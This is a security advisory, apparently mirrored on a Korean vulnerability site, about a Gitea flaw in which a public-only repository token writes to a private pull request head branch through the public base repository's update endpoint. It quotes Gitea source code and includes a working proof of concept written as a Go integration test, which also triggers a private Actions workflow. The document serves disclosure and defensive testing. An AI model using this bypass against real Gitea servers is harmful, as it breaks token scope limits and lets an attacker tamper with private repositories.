Gitea: Public-only repository tokens can update private PR head branches
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H상세 설명
Summary
Gitea allows a public-only,write:repository token to update a private pull request head branch through a public base repository route.
The vulnerable endpoint is:
1POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/updateGitea checks the token's public-only restriction against the route repository, which is the public base repository. UpdatePullRequest() then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.
As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.
Details
The pull request API routes are attached under a repository route group. The public-only check applies to ctx.Repo.Repository, the route/base repository.
1// routers/api/v1/api.go:1358-1394 2 m.Group("/pulls", func() { 3 m.Combo("").Get(repo.ListPullRequests). 4 Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest) 5 m.Get("/pinned", repo.ListPinnedPullRequests) 6 m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment) 7 m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment) 8 m.Group("/{index}", func() { 9 m.Combo("").Get(repo.GetPullRequest).10 Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)11 m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)12 m.Post("/update", reqToken(), repo.UpdatePullRequest)13 m.Get("/commits", repo.GetPullRequestCommits)14 m.Get("/files", repo.GetPullRequestFiles)15 m.Combo("/merge").Get(repo.IsPullRequestMerged).16 Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).17 Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)18 m.Group("/reviews", func() {19 m.Combo("").20 Get(repo.ListPullReviews).21 Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)22 m.Group("/{id}", func() {23 m.Combo("").24 Get(repo.GetPullReview).25 Delete(reqToken(), repo.DeletePullReview).26 Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)27 m.Combo("/comments").28 Get(repo.GetPullReviewComments)29 m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)30 m.Post("/undismissals", repo.UnDismissPullReview)31 })32 })33 m.Combo("/requested_reviewers", reqToken()).34 Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).35 Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)36 })37 m.Get("/{base}/*", repo.GetPullRequestByBaseHead)38 }, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo()) 1// routers/api/v1/api.go:1465-1466 2 }, repoAssignment(), checkTokenPublicOnly()) 3 }, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))For POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update, the route repository can be public, so a public-only,write:repository token passes the route-level public-only check.
The update handler then checks whether the caller can update the PR head branch:
1// routers/api/v1/repo/pull.go:1220-1270 2 pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index")) 3 if err != nil { 4 if issues_model.IsErrPullRequestNotExist(err) { 5 ctx.APIErrorNotFound() 6 } else { 7 ctx.APIErrorInternal(err) 8 } 9 return10 }11 12 if pr.HasMerged {13 ctx.APIError(http.StatusUnprocessableEntity, err)14 return15 }16 17 if err = pr.LoadIssue(ctx); err != nil {18 ctx.APIErrorInternal(err)19 return20 }21 22 if pr.Issue.IsClosed {23 ctx.APIError(http.StatusUnprocessableEntity, err)24 return25 }26 27 if err = pr.LoadBaseRepo(ctx); err != nil {28 ctx.APIErrorInternal(err)29 return30 }31 if err = pr.LoadHeadRepo(ctx); err != nil {32 ctx.APIErrorInternal(err)33 return34 }35 36 rebase := ctx.FormString("style") == "rebase"37 38allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)39 if err != nil {40 ctx.APIErrorInternal(err)41 return42 }43 44 if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {45 ctx.Status(http.StatusForbidden)46 return47 }48 49 // default merge commit message50 message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)The service checks the head repository using the user's normal repository permission:
1// services/pull/update.go:136-164 2// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections 3// update PR means send new commits to PR head branch from base branch 4func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) { 5 if user == nil { 6 return false, false, nil 7 } 8 if err := pull.LoadBaseRepo(ctx); err != nil { 9 return false, false, err10 }11 if err := pull.LoadHeadRepo(ctx); err != nil {12 return false, false, err13 }14 15 // 1. check whether pull request enabled.16 prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)17 if repo_model.IsErrUnitTypeNotExist(err) {18 return false, false, nil // the PR unit is disabled in base repo means no update allowed19 } else if err != nil {20 return false, false, fmt.Errorf("get base repo unit: %v", err)21 }22 23 // 2. only support Github style pull request24 if pull.Flow == issues_model.PullRequestFlowAGit {25 return false, false, nil26 }27 28 // 3. check user push permission on head repository29pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)30 if err != nil {31 return false, false, err32 }That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate pull.HeadRepo.
If allowed, the update service performs a merge/rebase update and pushes into the head repository:
1// services/pull/update.go:89-100 2 reversePR := &issues_model.PullRequest{ 3 BaseRepoID: pr.HeadRepoID, 4 BaseRepo: pr.HeadRepo, 5 BaseBranch: pr.HeadBranch, 6 7 HeadRepoID: pr.BaseRepoID, 8 HeadRepo: pr.BaseRepo, 9 HeadBranch: pr.BaseBranch,10 }11 12_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)13 return errThe result is a server-side private repository write performed through a public route.
PoC
1import ( 2 "encoding/base64" 3 "fmt" 4 "net/http" 5 "net/url" 6 "testing" 7 "time" 8 9 actions_model "code.gitea.io/gitea/models/actions"10 auth_model "code.gitea.io/gitea/models/auth"11 repo_model "code.gitea.io/gitea/models/repo"12 unit_model "code.gitea.io/gitea/models/unit"13 "code.gitea.io/gitea/models/unittest"14 user_model "code.gitea.io/gitea/models/user"15 "code.gitea.io/gitea/modules/gitrepo"16 api "code.gitea.io/gitea/modules/structs"17 webhook_module "code.gitea.io/gitea/modules/webhook"18 repo_service "code.gitea.io/gitea/services/repository"19 20 "github.com/stretchr/testify/assert"21 "github.com/stretchr/testify/require"22)23 24func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {25 onGiteaRun(t, func(t *testing.T, _ *url.URL) {26 doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})27 28 baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{29 Name: "public-pr-update-base",30 Description: "public base repository for public-only PR update PoC",31 AutoInit: true,32 Readme: "Default",33 DefaultBranch: "main",34 IsPrivate: false,35 })36 require.NoError(t, err)37 38 headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{39 BaseRepo: baseRepo,40 Name: "private-pr-update-head",41 Description: "private head repository for public-only PR update PoC",42 SingleBranch: baseRepo.DefaultBranch,43 })44 require.NoError(t, err)45 require.NotNil(t, headRepo)46 require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{47 RepoID: headRepo.ID,48 Type: unit_model.TypeActions,49 }}, nil))50 headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})51 52 headBranch := "private-head-update"53 testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{54 OldBranch: baseRepo.DefaultBranch,55 NewBranch: headBranch,56 }, map[string]string{57 "private-head-marker.txt": "private head branch marker",58 })59 const workflowID = "private-push.yml"60 const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"61 testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{62 OldBranch: headBranch,63 NewBranch: headBranch,64 }, map[string]string{65 ".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push66on:67 push:68 branches:69 - %s70jobs:71 private-head-job:72 runs-on: ubuntu-latest73 steps:74 - run: echo %s75`, headBranch, workflowSentinel),76 })77 78 require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{79 ID: headRepo.ID,80 IsPrivate: true,81 }, "is_private"))82 headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})83 require.True(t, headRepo.IsPrivate)84 baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})85 86 session := loginUser(t, doer.Name)87 publicOnlyToken := getTokenForLoggedInUser(t, session,88 auth_model.AccessTokenScopePublicOnly,89 auth_model.AccessTokenScopeWriteRepository,90 )91 92 publicPath := "public-base-injected-into-private.txt"93 publicMarker := "FAULT-GITEA-062 public base content reached private head"94 createPublicBaseFile := api.CreateFileOptions{95 FileOptions: api.FileOptions{96 BranchName: baseRepo.DefaultBranch,97 Message: "create public marker for private head update",98 },99 ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),100 }101 req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).102 AddTokenAuth(publicOnlyToken)103 MakeRequest(t, req, http.StatusCreated)104 105 privatePath := "direct-private-write-should-fail.txt"106 directPrivateWrite := api.CreateFileOptions{107 FileOptions: api.FileOptions{108 BranchName: headBranch,109 Message: "direct private write attempt",110 },111 ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),112 }113 req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).114 AddTokenAuth(publicOnlyToken)115 MakeRequest(t, req, http.StatusNotFound)116 117 prPayload := map[string]string{118 "title": "faultline public-only private head update",119 "base": baseRepo.DefaultBranch,120 "head": fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),121 }122 req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).123 AddTokenAuth(publicOnlyToken)124 resp := MakeRequest(t, req, http.StatusCreated)125 126 var pr api.PullRequest127 DecodeJSON(t, resp, &pr)128 require.Equal(t, prPayload["title"], pr.Title)129 130 gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)131 require.NoError(t, err)132 defer gitRepo.Close()133 134 commit, err := gitRepo.GetBranchCommit(headBranch)135 require.NoError(t, err)136 _, err = commit.GetBlobByPath(publicPath)137 require.Error(t, err)138 139 req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).140 AddTokenAuth(publicOnlyToken)141 MakeRequest(t, req, http.StatusOK)142 assert.Eventually(t, func() bool {143 return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns144 }, 5*time.Second, 50*time.Millisecond)145 146 actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{147 RepoID: headRepo.ID,148 WorkflowID: workflowID,149 }, unittest.OrderBy("id DESC"))150 assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)151 assert.Equal(t, "push", actionRun.TriggerEvent)152 assert.Equal(t, doer.ID, actionRun.TriggerUserID)153 assert.NotEmpty(t, actionRun.CommitSHA)154 155 job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})156 assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)157 158 commit, err = gitRepo.GetBranchCommit(headBranch)159 require.NoError(t, err)160 blob, err := commit.GetBlobByPath(publicPath)161 require.NoError(t, err)162 content, err := blob.GetBlobContent(1024)163 require.NoError(t, err)164 assert.Equal(t, publicMarker, content)165 })166}Impact
The attacker needs a valid public-only,write:repository token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.
Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.
When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching push workflow. The PoC confirms an ActionRun and ActionRunJob are created for the private head repository with the attack-triggered push event.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.